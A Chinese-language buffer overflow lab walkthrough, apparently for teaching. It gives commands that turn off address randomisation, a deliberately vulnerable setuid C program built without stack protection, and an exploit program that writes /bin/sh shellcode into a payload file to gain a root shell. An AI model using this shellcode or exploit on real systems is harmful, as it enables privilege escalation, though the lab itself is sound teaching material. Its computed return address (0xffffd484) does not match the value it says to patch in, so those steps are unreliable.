緩沖區溢出漏洞實驗
實驗準備
實驗環境需要32位的Linux系統,需要下載安裝一些用于編譯 32 位 C 程序的軟件包,代碼如下:
$ sudo apt-get update$ sudo apt-get install -y lib32z1 libc6-dev-i386$ sudo apt-get install -y lib32readline-gplv2-dev
實驗內容
初始設置
1.使用命令
$ sudo sysctl -w kernel.randomize_va_space=0
來關閉地址空間隨機化。
2.用另一個 shell 程序(zsh)代替 /bin/bash,代碼如下:
$ sudo su$ cd /bin$ rm sh$ ln -s zsh sh$ exit
3.輸入/bin/bash
shellcode
一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那么程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用于實現其他功能,這段代碼就是 shellcode。
漏洞程序
1.在 /tmp 目錄下新建一個 stack.c 文件:
$ cd /tmp
$ vi stack.c
代碼如下:
/* stack.c *//* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}
2.編譯該程序,并設置 SET-UID。命令如下:
$ sudo su$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c$ chmod u+s stack$ exit
攻擊程序
1.在 /tmp 目錄下新建一個 exploit.c 文件,代碼如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}
2.要得到 shellcode 在內存中的地址,輸入命令:
$ gdb stack$ disass main
3.根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffd420(十六進制) + 0x64(100的十六進制) = 0xffffd484(十六進制)
現在修改exploit.c文件!將 \x??\x??\x??\x?? 修改為 \xc4\xd0\xff\xff
然后,編譯 exploit.c 程序:
$ gcc -m32 -o exploit exploit.c
攻擊結果
作業題
通過命令
sudo sysctl -w kernel.randomize_va_space=2
打開系統的地址空間隨機化機制,重復用 exploit 程序攻擊 stack 程序,觀察能否攻擊成功,能否獲得root權限。